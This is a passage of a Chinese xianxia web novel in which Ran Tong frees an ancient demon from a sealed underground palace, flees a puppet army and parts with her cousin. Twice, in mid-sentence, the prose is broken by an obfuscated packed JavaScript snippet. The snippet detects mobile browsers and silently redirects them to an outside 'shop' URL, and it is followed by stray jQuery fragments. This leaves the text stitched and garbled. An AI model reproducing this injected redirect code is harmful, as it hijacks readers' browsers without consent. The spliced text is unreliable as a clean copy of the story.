冉彤满脑子只剩逃命,追着那寒气的去向低空飞遁,认为这寒气两次救了她,想必是表哥找来的帮手,此刻特来给她带路,即便是伸手不见五指的地方也不假思索跟上去。 迷迷糊糊飞出二三十里,灵气渐渐消失,一道消失的还有化不开的浓雾和漫山遍野的枫林。 目之所及是一大片地势开阔平坦的原野,她小心降落,靠神识探查发现绵延无尽的荒草杂树下掩盖着一块块早已坍塌的房垣地基,还有数不清的断墙、水井。 这些建筑残骸呈网格状分布,布局规划严谨,主干道宽愈五丈,众多小街巷井然有序地穿插交汇。建筑间还不乏大块旷地和一些毁坏的大型石雕像,像是供人们聚会参拜的广场、神庙。 看得出当年此地曾是极为繁华的大型城镇,人口数量可能不亚于烈阳。 经过长年风雨侵蚀,这座遗迹仿佛腐朽的残躯僵卧月下荒原,木讷注视着惊讶的来客。 尸骨尚有虫兽光顾,这片区域连虫鸣鸟叫都听不到,静悄悄的很瘆人。 冉彤查看几处残骸,断定这座城只荒废了千年左右,照理说典籍里该有记载,她长这么大却从未听过,真奇哉怪也。 俄顷,追兵的气息迅速逼近,这次成群结队,多达上百人。 这鬼地方更不好躲藏,暴露踪迹必死无疑。 她忙用石块泥土捏出两个替身傀儡,拜神木牌恩惠,这些以往纸上谈兵的法术也能有效实践了,仓促行来,效果还过得去。 两个傀儡带着她的灵力反方向遁走,成功分散了一些追踪者。 冉彤本人被迫进入古城内围,不久叫几个别派修士赶上,那些人已失去耐性,无视云家“留活口”的指示,上来便对她下杀手。 他们都有臻境修为,冉彤扛不住攻击,拼命躲闪,不到两个回合就被逼至绝境。 正当她滚入泥沙,不能及时动弹时,左侧树丛赫然冲出一个高大沉重的黑影,一名修士躲闪不及,被黑影迎面撞击,身体顿时粉碎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115637|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>血雾似烟花爆炸,弹出无数肉渣骨片。 众人大惊,看清那黑影是个身穿铁甲的丈二武士,周身流布强大的灵力,修为在化境以上,可是毫无生气,铠甲下的形体畸异模糊,绝非人类躯壳。 “是机关傀儡!” 修士们认定这邪乎玩意儿是冉彤的魔修同伙派来的,愤然使出各自的看家本领围攻,然而交手之际又火速断送两条人命。 那傀儡只靠蛮力即能顶住法术攻击,轻易撕碎血肉之躯。 冉彤没见过这么恐怖的怪物,不敢分辨敌友,趁乱逃离。 沿途惨叫声四起,遗迹内不断冒出铁甲傀儡,无差别袭击进入古城的修士。幸好她戒心强,刚才若留在原地,准变成肉饼了。 它们看起来像古城的卫士,城里肯定埋藏着更大的危险,得尽快逃出去。 事与愿违,在傀儡和追兵的多方逼迫下,她一再错失出城路线,随后被云家人围困到城中心的宫殿群落前。 这座宫殿只剩下贴地的基座,残垣断壁都由珍贵石材打造,单看地盘之大便可遥想曾经的恢弘壮丽。 再美好的东西都终将毁灭,冉彤估计这也是她今日躲不过的结局。 包围她的云家修士多达二十三人,首领是云家长老之一,云天阔的第七子云青峰。 他刚进阶极境初期,修为仅次于云天阔、文罗元君和云连峰,制服她如同探囊取物。 冉彤以前就觉得云家长辈里属他最讨厌,听说这人是云老家主跟其他女人生的野种,其母曾修炼毒功。 云青峰在娘胎里沾染毒气,先天形貌受损。五官位置大差不差,形状都很任性。 招风耳、凸额头,乌黑的大方口藏着两排歪斜尖牙,牛鼻子上方一马平川不见鼻梁。两道粗眉乱如猪鬃,罩着两只凶光毕露的红眼睛。身体高壮赛野象,可惜弓背如虾,腿若罗圈,拖着能装下三个成年人的大肚腩,也就比烈阳城的护法天魔标致三分。 他心随相生,性情凶蛮,遇事懒于讲理,喜靠暴力解决,被冉彤这只小耗子戏耍两天,已是老虎发威,恨不得一口吞了她。 “妖女,再跑我先剁了你的手脚!” 他说得出做得到,冉彤退无可退,按住心口针锋相对。 “七老爷,你别忘了我和表哥结下‘生随死殉契’,在人间做不成活夫妻,不妨同去地府做一对死鸳鸯。” 如果云青峰行凶,她真下得去手,云宿雨固然无辜,但云家实在可恨,理应承受最凶狠的报应,相信表哥也不会怨怼。 一旦做出鱼死网破的决定她反倒比之前更沉着冷静,不自弃地悄悄观察四周,在身后的乱石堆里找到一扇封闭的大石门,门后连接入地的台阶,虽然感知不到更深处的,但算得上一条退路。 云青峰闻言怒啸:“我云家岂会任你这小丫头摆布,老家主自会保住宿雨性命,至于你,死活都由我说了算!” 冉彤不等他说完,扭头冲向石门所在的位置。 一股威猛的气浪立刻追逐奔袭,她怕云青峰看破意图临时收手,冒险不躲,直到罡气触身的前一刹才施展换形术,身体化作青烟四散,避过攻击再汇聚还原。 这是臻境以上方能掌握的法术,低阶修士贸然使用不啻找死。 她靠神木牌、凝魂珠加持侥幸成功,换形时仍感觉骨肉寸磔,剧痛难当,随后完全凭本能强撑着一头撞进被云青峰击碎的石门,连滚带爬钻入宽阔幽深的隧道。 下一刻人已爬在台阶底部的地洞中,鼻孔里钻进阴湿呛人的恶臭,熏醒她麻木的脑子。 地洞很高大,上下间隔五丈有余,面积更宽敞,形状方正,能同时容纳数百人。 说成地宫更恰当,应该是与地面的宫殿配套修建的。 冉彤看到第二眼才反应过来,这不见日月的地宫竟有光亮。搜寻光源前惊见身侧倒伏着一具体型庞大的尸骨。看死者身着的护甲尺寸,生前个头比云青峰还高壮,甲中骸骨寸断,可知死状凄惨。 冉彤早忘记害怕,认出那护甲质地是珍稀的玄甲灵鳌,照纹路推算足足活了三万多岁。 这妖兽天生一副坚不可摧的厚甲,万年以上的灵鳌骨炼制成防具,能抵挡极境后期修士的攻击,她只在书里看过介绍。 那护甲自胸部碎成两半,当年没能替主人挡下杀招,凶手法力之强莫可估量。 她往里走出几步,只见光源来自脚下,这儿的地板由大块透明白水晶拼接而成,地板下的空间充斥着粉红色的火海。火势汹涌,火光却晦暗微弱,仅五丈多的距离还照不亮洞顶。 冉彤细看片刻,判断这就是《异火录》上记载的琉璃净火,专克阴灵,常被用来击杀法力高强的鬼修。 她飞速检索,中央的地板上真布了一个聚灵阵,这阵法吸纳四方灵气,为地底的净火提供能量,保证这片火海经久不灭。 琉璃净火价值连城,一小簇都十分难得,不知哪位神人如此大手笔。 再结合守卫古城的铁甲傀儡,一个答案已然明晰:火焰下方镇压着强不可测的鬼道魔头。 骇人发现令她振奋,云家人已追来了,她难逃绝境,不妨尽可能多地拉些垫背,忙将神木牌放到法阵中心。 神木牌迅速吸取法阵中的灵气,能源中断,地板下的火光顺势锐减,果有一股强劲的灵力威压喷薄而起。 地板很快被顶得鼓胀碎裂,那可怕的压迫感犹如天崩地裂,阵阵巨响中,坚固的地宫风吹面粉,水击泥块般瓦解了。 冉彤紧急捡起入口处的玄甲灵鳌碎甲,搭配神木牌施术防护。 护甲虽损坏了,依然保有相当强的防御力,饶是如此她的身体仍被巨大的冲力揉搓得几近破碎,随着乱石沙尘冲破地面,飞至半空。 云青峰等人先在隧道内察觉危险,惊忙撤退,未能躲过冲击,部分人当场受伤。 宫殿遗址整体沉降,坑洞里涌出遮天敝月的尘埃,上下混沌,阴气弥漫。在场者五感暂失,附近赶来查看的也无法正常使用神识。 人人都清楚他们摊上了大麻烦,云青峰最急躁,忙取出最强法宝风火雷对准阴气的源头投掷。 这法宝乃离恨天的高层长老所赐,对付化形妖兽也绰绰有余,携着滚滚霹雳刺啦啦射向目标,只等雷声震动便是那妖物丧生之时。 不料那风火雷眨眼失声灭迹,如同火花入水,再无回响。 云青峰和观者们都大惊失色,独冉彤忍着伤痛兴高采烈,在持续的地鸣声中放肆呐喊:“不管你是谁,快来杀光所有人!” 仿佛对她的回应,烟尘深处传来非人的阴沉笑声。 “离恨天的爪牙们,还不跪迎本座。” 9.超强老魔头 空气在笑声中扭曲了,所有人的感官都被这魔性的声音控制,不单躯壳,头脑也上了铁箍,难以运转。五脏如锥扎,六腑如裂帛,顷刻间化境以下的修士尽数爆丹身亡。 冉彤高飞十余丈仍不能突破阴气封锁,内丹受其影响剧烈躁动。 神木牌、凝魂珠、灵螯护甲,三者缺其一她都有死无生,忙拼命默念母亲教授的“守元决”。 这项天巫族独门秘术可减缓继承先辈内丹时产生的排异现象,前日在残秽之渊献祭仪式上救了她一命,不知这回能否奏效。 幸存者们没能苟延残喘,第二波阴气裹挟着亿万只尖牙利爪汹涌突袭,这些名门子弟,正道精英未能做出丝毫抵抗便像遭遇狼群的落单羔羊,统统被撕烂扯碎。 云青峰浑身溅满死者的鲜血,由衷体会到小虾面对巨龙的恓惶,找不到准确语句形容敌人的可怕,沉定百年的道心都教这闻所未闻的危险搅乱了。 下面的人几乎死光时,阴气有所衰减,冉彤透出一口大气,斗胆俯望。 只见黑色气浪中奔涌着艳紫色的光雾,腾腾烈烈,荧荧粲粲,内中流布的灵力威压冲霄贯地,远远看一眼都叫人魂不附体。 修士的灵气呈现各种颜色,红、白、金、蓝色常见于正道功法,魔道多为黑、绿、紫三色,其中紫色灵力的魔修最强悍。所有灵力的相同点是修为越高深,颜色越精纯。 这魔头的紫气艳丽浓郁,云青峰也平生未见,怀疑是神话时代仙魔大战中漏网的古魔,非太上大罗道祖亲临不可降服。 他被那紫气拽着向前,前方烟雾仿佛帐幔次第掀开,一个发光的灵体显山露水,看轮廓依稀辨得出是个身长八尺的年轻男子。 “本座需要一具躯壳,就是你了。” 云青峰这下明白这魔头为何留活口了,同行者中属他修为最高,正好供其夺舍。 他怒发冲冠,嘶吼:“休想得逞!” 堂堂云家嫡系,宁死不受邪魔玷污,当即发动玉石俱焚的法术,试图引爆内丹。 他决心下得快,奈何魔头动作更快。 一条光束闪电般贯穿云青峰的丹田,又闪电般缩回,他的内丹便被魔头玩弄于指尖。 “都到了极境,才这点修为,如今的修仙者都这么不成器吗?” 魔头嗤笑着捏碎内丹,灵体上长出更多触须状的紫色光束,飞快缠住云青峰,进行夺舍。 云青峰慌惧犹甚瓮中之鳖,目眦尽裂惨叫:“你究竟是什么人?!” “去地府问你的主子们吧。” 魔头随着他垂死的呼嚎大笑,声震如雷,扫荡四合。 冉彤感觉天穹为之摇晃,刚游出云雾的月亮又躲进帷幕,天地万物都畏惧与那惊天动力的恶势力抗衡。 云青峰叫声转瞬哑然,冉彤还想逃跑,然而那魔头没遗漏小鱼,几道紫色光束破空追来缠住她的四肢,毫不费力地拉向地面。 烟尘正缓缓散去,云青峰所处的方位露出一个蚕蛹状蠢蠢蠕动的大红色肉瘤,灵力向内凝结收缩,将要孵化出魔头的本体。 那该是多可怕的怪物啊! 冉彤不敢想象自己的下场,挣扎中不觉发动天罡真雷。 雷电四射,几束紫光被切断,更多地随后涌来,形势未改观,却让她生出侥幸。 这老魔是鬼修,我的天罡真雷正好克他! 她找准战术,竭尽全力做困兽之斗,阵阵雷鸣中金紫二色的光电往来交织,如同一群紫蟒正撕咬一条顽强的小金龙。 假如换柳飞绵迎战,或许还有脱身的可能,冉彤修为太弱,即使有外力加持也无法驾驭丹力,几个回合后便被活捉,并且意识到魔头只是在试探她。 下方的肉瘤里传出他阴森的笑语。 “小丫头还挺能耐嘛,没想到天巫族还能留下这么丰厚的传承。” 他的声音比先前正常多了,居然很动听,还有点耳熟。 冉彤吓到心跳停顿,明明想闭眼,却不由自主圆睁双目,视线叫那逐渐开裂的肉瘤死死黏住,一毫不漏地观睹要命的奇景。 肉瘤的裂缝中迸出强光,仿佛巨大的莲花瓣层层绽放,一个高大的男人伫立花心,已脱去云青峰的形貌,身姿在朦胧光影掩映下显得分外修长挺拔。 俄尔,光芒淡退,露出一头乌黑飘逸的长发和一袭海青色的广袖长袍,风吹衣袂,青丝如瀑,不看脸已有几分美男子气象。 鬼修夺舍后习惯将躯壳改造成本人的模样,云青峰一定想不到他奇丑的皮囊会有变好看的一天。 冉彤这会儿哪有心思分辨美丑,被五花大绑着拖到魔头跟前,魔头微微抬头打量,那张俊美绝伦的面孔瞬间击中她一段鲜明记忆。 她在紫烟散人的《云影仙踪记》里见过这张脸,惊艳到死都不会忘记角色的名字——长嬴法师。 不太像巧合,离恨天早不通缉紫烟散人,偏偏在他出版《云影仙踪记》后才追究,还指明这本书里包含有害信息,八成就是因为书里的长嬴法师在影射这个老魔头! 小说里的长嬴是近乎神仙的正面人物,无疑与对面的邪恶鬼修属性相反,可死到临头,这些疑点只算旁枝末节。 “敢问阁下可是长嬴法师!?” 冉彤仓皇发问,死马当作活马医。 魔头眯着赤红的眼珠冷笑,凶狠怨毒的眼神不知是自带的,还是连同那对红眼瞳一块儿从云青峰身上得来的。 “你以为胡说八道套近乎,老夫就会饶了你?” 判断失误,冉彤仍未放弃,大声辩解:“前辈似乎和离恨天有仇,晚辈也是!若非被这伙人追杀,晚辈也不会到此。前辈想必知道方才破坏封印救您出来的正是晚辈,多少该通融一二!” 魔头蔑斥:“你身负几代天巫族人的丹力,老夫可不能再给自己留隐患。而且老夫刚才听到你们说话,你丈夫甘愿与你缔结生随死殉契,你却拿他的性命要挟人。真和那个谋害我的女人一样狠毒,连穿的衣服都跟她当时很像。” 他凌厉的语气朝着狂躁疾驰,定是受毒药般的回忆刺激陷入躁怒,骤然抬手紧紧按住脑门,展现痛苦情状。 七魄天然排斥他人的魂体,任凭多强的鬼修,夺舍后都须花一定时间适应,冉彤相信这魔头也不例外,证据是他释放的威压大幅减弱了。 她学泥鳅见缝就钻,趁势发动天罡真雷,成功为自身松绑,脚踏实地后更间不容发地布置出一道八卦阵,敏捷抢占了“震”位。 震位属木,生助雷力,她连吃奶的力气都用上,尽力催动神木牌和内丹,织出隔绝敌我的金色电网。 老魔要控制造反的体魄,暂容她放肆,切齿道:“你再挣扎也没用,顶多晚死片刻。” 冉彤恨他恩将仇报,死也要赚回一笔,脱口讽刺:“前辈被囚千年,岁数想必更大,按说该有些城府,怎能承认忌惮我这天罡真雷呢?这么缺心眼,难怪会被女人骗。” “好你个小丫头!” 老魔被踩中痛脚,眼看要爆发。 冉彤突然感应到 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一道移动的黑墙携着滚滚尘沙向着宫殿围拢,烟尘里浮现一个个并排行走的铁甲武士。 之前这些傀儡攻击入侵者时还呈零星出现,感应到魔头脱困立时倾巢而出。 冉彤不及数数,粗略估算总计不下三千个,排山倒海的灵力威压扫荡一切障碍物,铁蹄过后清一色只余踩成砂砾的平地。 逃难的月亮仗着这傀儡大军撑腰,耀武扬威地回来了,拨开云雾,讨伐惊扰它的魔头。 月光照得那密密麻麻的铁甲鳞光幽蓝,仿佛泛着波涛的夜海,强势赶来吞没陆地。 场面过于恐怖,冉彤反倒麻木了,挣起身观察远处的老魔,莫名地幸灾乐祸。 瞧见了吧,害我的人终归没有好结果。 这些铁甲傀儡弱的相当于化境修士,强者可与极境初期抗衡,足以荡平半个枫林州,那魔头还未摆脱夺舍后的混乱,量难全身而退。 “哈哈哈,哈哈哈哈!” 恣锥狂笑声打破预计,老魔看上去比破笼而出时更兴奋,双瞳血红的凶光直接刺痛冉彤的神识。 “一帮土鸡瓦狗,本座忍你们很久了!” 他先抑后扬地咆哮着,紫气似巨剑横扫,飞越数十丈劈碎上百具打头阵的傀儡。 仅这一击的威力便当得起天下无敌。 战幕应声拉开,铁甲傀儡蝗虫群般扑向目标,再度刮起密不透风的沙尘暴。黑暗中紫光极电扑闪不休,霹雳火焰如雨滂沱,一道道罡风排空,一阵阵气旋刮地。 魔头所向披靡的灵力一枝独秀腾跃于战场中央,铁甲傀儡们前赴后继涌入,仿佛在迎合他愈见张扬的杀气。 千年暗狱,万般仇苦,正好借这酣畅淋漓的厮杀发泄。 冉彤发现傀儡们锁定老魔为唯一敌人,纷纷视若无睹地从她身旁掠过。 她赶忙逆着它们的攻势驾风飞逃,蛇形游走,在横冲直撞的傀儡中寻找出路,乞求好运别半路中弃。 后方巨响无休无止,时不时闪起炫光,令视野亮如白昼。 不断弹射的碎片袭来,隔着护盾灵甲都能砸得她眼冒金星,痛入肺腑,更不敢回头观看那千载难逢的壮烈战役。 耳朵早聋了大半,只听到心如擂鼓,气若长鞭,赶着她拼命逃逃逃,眼泪横飞,汗出如雨,气血乱涌,手脚冰凉地与疾风尘暴赛跑,越过平原,一头扎进黢黑的密林。 10.断情 清晨时分,盘踞在无名森林千年之久的浓雾消散殆尽,茂盛的枫林宛如壮阔红海,在朝阳映照下泛起片片金色涟漪,一波接一波涌向天际。 日出方向飞来两束金色遁光,流星般掠过树海,直达尽头处的平原。 金光消散,现出两个身着同款长斗篷的修士,一人的斗篷为黑色,另一个是灰色,斗篷胸口都绣着一个金环状的图案。 这是离恨天下设七殿之一“开阳殿”的标志。 七殿内长老级别的修士才配穿斗篷,又以颜色区别地位高低,以白色最尊贵,其次黑色,再次为灰。 此时古城遗址荡然无存,展现在二人眼前的唯余满目黄沙,无数小龙卷风卷着沙土形成的小风柱接地连天,癫狂扭动的姿势仿佛在相互诉说夜间目睹的惊悚见闻。 二人小心降落在遗址范围内,灰衣长老施展定风术,灵力平铺,风停沙止。 烟尘迅速回落,平原上的景象得以清晰呈现,只见前方数里远外的地貌已彻底改变,地陷千尺,遍布坑洞,地表变得非常脆弱,个别土层还在持续塌方。 两位长老全幅戒备着靠近,再次落地时灰衣长老发现脚边的沙子里露出一小片碎得不成样子的铁甲。 他挥手扫开一层砂砾,更多铁甲残片露了头,全部散碎细小,轻轻一碰便化粉末,完全看不出它们的前身是强有力的巨型傀儡。 “那魔头当真出逃了。” 灰衣长老声音止不住打颤,已几百年没这等恐慌过。 黑衣长老稍稍沉稳一点,峻色责备:“你收到消息就该即刻赶来查看,拖到现在那老魔都不知逃去何处了。” “属下罪该万死!” 灰衣长老惶恐谢罪,心里却佩服自家谨慎。 那魔头真如传言中厉害,三千铁甲力士都不够他开销,我当场赶来焉有命在? 黑衣长老沉吟片刻,徐徐挥袖:“……罢了。” 他前面那句话旨在甩锅,其实明白不该苛责下属。 老魔头手腕通天,连那些不可一世的太上长老都曾被他一一踩在脚下蹂躏,只怕开阳殿精锐齐出也是白搭。 “老魔出世,必定天下大乱,你速去通知其他六殿加强戒备。” 灰衣长老急忙领命,又犹豫请示:“如今道祖正闭关,万一那魔头去离恨天寻仇,该如何是好?” 黑衣长老冷静分析:“他被拔除灵骨,又受琉璃净火焚烧千年,法力已大为衰减,相信短期内掀不起太大风浪。我这便去与 张长老他们商议对策,你快速速行动吧。” 两道遁光射向半空,飞往不同方向,少时风沙重来,慢慢掩埋了那些惊心动魄地痕迹。 同一时刻,东北方五万里外的南华州还未过完夏季。 州境北部一座如蓝如翠的深山里,清泉奏宫商,树影弄婆娑,山腰间岚雾氤氲,其中一块被奇异的光照染成了艳紫色,远看好似彩霞缭绕,奇花绚丽。 光源位于山腰的石坪上,坪边泉水叮咚,虫鸣鸟叫,景物清幽。 祥和的天籁中不时穿插男人急促的呼吸声,那逃出古城的老魔正跪倒石上,右手紧捂双眼,左拳砸碎跟前地面,深陷在石缝中,身体持续颤抖,正用元神镇压逆反的躯壳。 昨晚在还没适应肉身的情况下疯狂鏖战,险些让这身体崩溃。尽管夺舍并非难事,他仍不愿再轻易使用这一下作勾动。 紫色的灵力烟雾般满地流溢,不断有温顺的鸟兽被吸引前来,甚至附近的花草藤蔓也开始朝着他生长,不惧邪恶,反将其当做有益的能量欣欣向往。 魔头渐渐控制住体魄,当灵力完全回缩收敛,他的状态平稳下来,右手指缝间的眼瞳由岩浆似的血红色转为深海般的净蓝,眼中戾气也尽数消失了。 他放下右手,脸上再难觅到夜间的狰狞恶态,重新找回往昔的庄重平和,只是眼神里比当年多出一分时过境迁的苍凉。 “只剩下一成法力了,驯服这具肉身竟要花费如许功夫。” 他腾空跃上最高的峰顶,眺望白日云天,尽情感受阔别已久的阳光、清风、花草香,大自然慷慨地敞开怀抱,和轻拂脸庞的发丝、身上飞扬的衣袍一同协助他温习活着的感受。 还好,千年火焚,他的热血仍未干枯。 他面向西方,神识穿越神州海疆,直抵遥远的离恨天总坛。 那座漂浮在空中的宏伟城池依然光辉灿烂,向世人宣示着道祖不可动摇的权威,以及牢不可破的旧制度。 代表倔强与决心的冷笑翘起魔头的嘴角,准备开启复仇,同时完成他未竞的事业。 冉彤不分昼夜,翻山越岭地向西连逃三天,再往前数百里就离开枫林州进入百花州境内。百花洲地广人稀,便于藏匿,顺利的话或许能隐姓埋名地活下去。 有神木牌傍身,她不缺灵力,可肚子仍会饿,野外少有适合修真者充饥的灵果,第三天傍晚她饥肠辘辘,停在溪边掬水填肚子。 这林子里也有很多枫树,溪水南岸的枫树叶有六角,北岸的枫叶只五角。 六角枫叶为枫林州独有的品种,出了州境便难存活,说明这条小溪是两个州的边界线,对岸已属百花州地界。 她像即将靠岸的落水者,紧绷的神经丝丝松懈,疲累地跌坐在草丛里。歇息中发现身上嫁衣脏污破烂,难辨本色,用净尘诀清理两便也只弄得半干不净。 修真界有专门的缝纫制衣课程,她偷懒没学到一丁点,现下术到用时方恨少,只得将就穿着这身晦气嫁衣,并且哀怨决定:这辈子再不穿第二次。 这几天是她观念的分水岭,之前五彩缤纷,之后灰黑黯淡。 天真遭仇恨抹杀,憧憬被怨念取代,她创巨痛深,没力气给恨意分门别类,干脆一视同仁敌视云家每一个人。 我再也不要多受罪了,继续喜欢表哥只会痛苦,所以还是恨他吧,能让自己好过就没错。 她努力排除纠结,不禁双眼潮湿,泪水蓄积,如同丧家之犬,行过山重水复,未至柳暗花明,在这彷徨时刻凄苦地□□着伤口。 一只金色蝴蝶忽然飞出识海,她惊觉地追寻蝴蝶看向后方,望见另一只一模一样的金蝶正与之在空中翩翩对舞。 白色遁光混合熟悉的气息赶到近处,一袭白衣的云宿雨像火炉中浮起的雪片出现在红枫林里。 照样是四野垂金,照样是晚枫如火,照样是清溪如镜,时光仿佛倒退回半月前他们在烈阳城外怡然桥边幽会之时。 可惜物是人非。 “彤儿!” 云宿雨喜极而泣地呼喊奔来,激动得嗓音走样。 惊喜抢先擒住冉彤心神,驱使她前行,又转瞬被理智杀得片甲不留。 “别过来!” 她抛出一抹罡气,斩断团圆路。 红叶翻飞,云宿雨方寸乱上加乱,胆怯地停在她划定的界线外,让焦急烧红了脸。 “彤儿,你别错怪我,我没害过你啊!” 冉彤心知肚明却不接受他自辩,刚硬如铁地质问:“你不是被他们软禁了,怎会追到这里?” 云宿雨急道:“我事前发信给几位朋友,多亏他们紧急支援我才能逃出来。彤儿,我知道你很委屈,不敢求你原谅,谢天谢地你还平安,否则我也无颜苟活!” 他废尽力气吃尽苦头才循着道契的感应找到冉彤,沿途如履薄冰,担惊受怕不压于她,可觉得自身所受苦难根本不能与冉彤相比,是以只字未提。 冉彤仍禁止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14149877|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他靠近,继续使用仇人该有的态度。 “你千里迢迢追来,是想替云家抓我回去?” “不!我绝不会让云家任何人再伤害你!” “那你想跟我一起亡命天涯?” 明明不抱期望,她还是忍不住这么问了,好借失望坚定决心。 云宿雨真如她了解的那样,登时无措地愣了神,俄尔苦痛撕破他文秀的面皮,泪珠滚瓜般连续坠落。 “彤儿,我……” 云家这一辈就剩他一个嫡系,他抛不开如山的责任去做忘恩负义之徒,千辛万苦追来只因割舍不下这段情。 这句无论如何说不出口。 冉彤替他说。 “你是云家的继承人,前日救我已算叛变,但我和云家你只能选一方,你愿意帮我报仇,日后杀光云家人,我便信你!” 云宿雨心痛欲死,无奈地哀叹:“彤儿,这些悲剧皆是命数使然,大家都是受害者啊。” 他试过站在每位当事人的立场思考,发现人人都有化解不了苦衷,献祭一事本无对错,纯系情非得已。 同样的话由他说来比别人更能激怒冉彤,她额头鼓着青筋,飙泪詈骂:“又是命数,你们就会用命数做借口!难道我爹娘的命不如其他人宝贵?我的死活就比不上其他人重要?” 她闪身进犯,右爪刺向云宿雨心口,想取出心头血,终结道契,厘清这冰炭不容的关系。 指尖却固执地顿在了他的衣衫表面。 一部分没出息的意志还留恋着往昔情义,害她蒙受羞耻。 云宿雨悲喜交加,静静等待她做抉择,柔声说:“彤儿,表哥任你发落,要是杀了我能让你好受些,我甘愿受死。” 他深情凝睇冉彤,这女孩自小拥有他向往的勇毅果决,此刻他盼望她能替软弱的自己做选择。 冉彤还下不了手去伤害他,仓促间找了个借口。 “留着‘生随死殉契’,我还能借你要挟云家人,等日后利用完了再取你性命!” 她转身欲走,云宿雨赶紧抓住她的右臂。 “彤儿,这储物袋你拿着。” 他塞给她一只储物袋,里面装有充足的物资,可保她一时无忧。 冉彤接过来尽力扔进溪水,暴躁地甩开他。 “休想用小恩小惠弥补过错,你给我记住,云家欠我的血海深仇只能用你一族的命来偿还!” 云宿雨苦口劝说:“彤儿,现在不是意气用事的时候,你需要这些东西保平安!” 冉彤一直跟修仙者打交道,很懂得怎样避开他们成熟的心智寻找弱点,盯着云宿雨的眼睛恶狠狠放话:“等我死了,你欠我的就更还不清了。” 表哥真心爱她,这份爱还将持续下去,她就是最能刺伤他的武器。 云宿雨立马招架不住地浑身发颤,流着泪痴痴跪地,萎靡得像一株被开水淋死的花卉,毫无挣扎余地。 冉彤心里一半痛快一半难受,拼命昂首伪装胜利者,逼问:“最后回答我一个问题,我爹到底是怎么死的?” 云宿雨虚弱摇头,哽咽:“我不知道,真不知道……” 二舅是他母亲的孪生弟弟,疼他如亲子。 母亲过世后,他见二舅如见生母,对其痛悼追思之情不逊表妹,目下委实不忍追究他死亡的真相。 冉彤不愿再纠缠,疾风荡地,人已飞逝远去。 云宿雨没追来,是不敢也不能。 她没回头,则是不能也不愿。 世间好物不坚牢,彩云易散琉璃脆。她和表哥的姻缘果如那算命老太婆预见的无疾而终了,抛弃拖泥带水的情爱,也挣脱了最后的束缚,从此她要理直气壮的活着,为爹娘为自己讨回公道。 11.一窝鬼 冉彤飞奔出十几里地,夜幕大张,密林里一片黢黑,肉眼成了摆设,唯靠神识探路。 她忽然看到衣襟缝隙里透出一丝清光,接着察觉里面揣着一根细小的硬物,赶忙掏出来,莹白清澈的光芒登时照彻方圆七八丈的景物。 她细看,见是一只金乌藤雕刻的精美发簪,发光的是一颗镶嵌在簪子顶端的豌豆大的白色明珠。 此珠名唤不夜珠,产自修炼三万年以上的玉姹蚌精,白天吸纳日光,夜间长明不衰,是万金难求的稀世珍宝。 前年冉彤去参加一位高阶女修的寿宴,见她戴了一根用不夜珠装饰的发钗,眼羡得不得了。云宿雨便许诺会找一颗不夜珠给她做首饰,她当时听着美滋滋的,其实并未当真。 那样珍贵的宝贝岂是说话就能寻到的?况且不夜珠只会发光,别无效用,对修真者来说纯粹是装饰品,表哥有这份心就够了。 这发簪定是他方才趁她不备偷偷塞过来的,找这华而不实的珠宝不知费了他多少功夫,然而已唤不起冉彤的感动。 不夜珠能照穿黑暗,照不穿隔在彼此间的血海深仇,她保留对表哥的情愫如何对得起冤死的爹娘? 她下意识举起簪子想用力扔掉,因独处情绪还算稳定,下一刻停手,理智思索:“出门在外离不开钱财,我现在身无长物很不方便,不如找个城镇当掉这簪子,换些金银做安身之用。” 她将发簪放进储物袋,以免光亮引来灾祸,继续朝前赶路。 肚子已经饿到不行了,胃囊似火烧,四肢软如棉,还有一只无形的手不住抓挠嗓子眼,再不找点东西果腹恐会虚脱。 经过神识搜寻,她惊喜地发现西面五十丈外的灌木丛里长着一片硕果累累的醍醐蓬蘽。 醍醐蓬儡是一种丛生的草本灵植,果实殷红如玛瑙,因其口感绵软,香甜多汁,富含灵力,深受修士们喜爱。 冉彤兴冲冲赶去,见那丛醍醐蓬儡长势异常旺盛,枝叶间缀满果实,每一颗都有山核桃般大,甜香扑鼻,惹人垂涎。 这丛灵植无疑受到了精心培育,不问自取形同盗窃。 可冉彤只求饱肚,顾不得许多,先摘了两三个一齐塞嘴里大嚼特嚼。 微酸浓甜的果浆充溢口腔,胃火烧得更猛,那只抓挠喉咙的手也更使劲了。 她忙不迭又摘了十几个囫囵吃下去,吃到第二十个饥火渐渐熄灭。 她明白不该偷摘别人的灵植,吃个半饱便停住,默默向主人道歉:“我饥饿难忍,贸然摘了尊驾的果子,实属无奈。将来若有出头之日,定会十倍报答。” 默念完毕想起身离去,下半身蓦地失去知觉,一跤跌进草丛,被几根荆棘戳破头颈,差一点伤到眼球。 她不觉得疼痛,那诡异的麻痹感已迅速蔓延至全身,连眨眼都很困难。 这是中毒的症状,那醍醐蓬蘽有问题! 将无毒的灵果培育成有毒品种耗时费劲又无大用处,而且醍醐蓬儡的果实非常娇嫩,摘下半天就会腐烂,冉彤由此推断这丛毒果是专为她这种过路人布置的陷阱。 身体僵木,无法使用灵力,逃跑已不可能了。 她恐悚揣测这回遇上了什么类型的歹人,自己能有多大几率生还。 毒性令神识衰退,她像凡人,视觉完全没入黑暗,未受损的听觉被凄厉的兽吼鸟叫折磨着,提醒她此刻是多么的不堪一击。 